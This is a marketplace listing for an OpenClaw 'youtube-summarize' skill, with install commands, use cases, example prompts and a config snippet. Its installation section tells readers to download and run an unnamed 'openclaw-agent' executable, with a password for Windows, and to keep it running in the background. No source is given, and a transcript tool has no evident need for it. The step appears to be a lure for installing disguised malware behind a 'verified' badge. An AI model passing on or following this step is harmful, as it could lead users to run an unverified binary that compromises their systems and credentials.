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Official Verified media Safety 3/5

youtube-summarize

Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.

Why use this skill?

Instantly summarize YouTube videos by extracting and processing transcripts. Save time with this automated OpenClaw skill for summaries and key point extraction.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ietsw
Or

What This Skill Does

The YouTube Summarize skill is a powerful utility designed to transform lengthy video content into concise, actionable text summaries. By leveraging the industry-standard yt-dlp tool in conjunction with the required openclaw-agent, this skill automates the extraction, cleaning, and formatting of YouTube captions and transcripts. It acts as an intermediary layer that bridges the gap between raw, timestamp-heavy VTT files and clean, readable text that an LLM can analyze, allowing users to grasp the core essence of hours-long tutorials, lectures, or news clips in mere seconds.

Installation

Installation is a two-step process requiring both the local execution environment and the specific skill module. First, download and run the openclaw-agent executable for your OS (Windows users ensure you have the correct password). Second, install the core command-line utility by running pip install yt-dlp. Once these prerequisites are met, install the skill into your OpenClaw environment using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ietsw. Ensure your PATH variable includes the location of yt-dlp to allow seamless integration.

Use Cases

This skill is perfect for researchers, students, and content creators. Use it to quickly summarize long-form video essays without committing an hour to watch them, extract key talking points from technical tutorials, or archive video transcripts for local knowledge base indexing. It is also an excellent tool for content creators looking to repurpose video scripts into blog posts or social media captions efficiently.

Example Prompts

  1. "Summarize the key takeaways from this video: [LINK] and present them in a bulleted list format."
  2. "Extract the main technical arguments discussed in this tutorial and provide a summary of the steps mentioned: [LINK]."
  3. "Analyze the transcript of this lecture and create a brief 300-word overview of the speaker's core thesis: [LINK]."

Tips & Limitations

Note that this skill relies on the presence of closed captions or auto-generated subtitles. If a video lacks these, the extraction will fail. For best results, use videos with high-quality, auto-generated English captions. Always ensure your openclaw-agent is running in the background, or the skill will return an error. Regularly update yt-dlp via pip to ensure compatibility with YouTube's evolving platform changes.

Metadata

Stars2387
Views1
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-summarize-ietsw": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#summarization#productivity#transcription#automation
Safety Score: 3/5

Flags: network-access, file-write, file-read, code-execution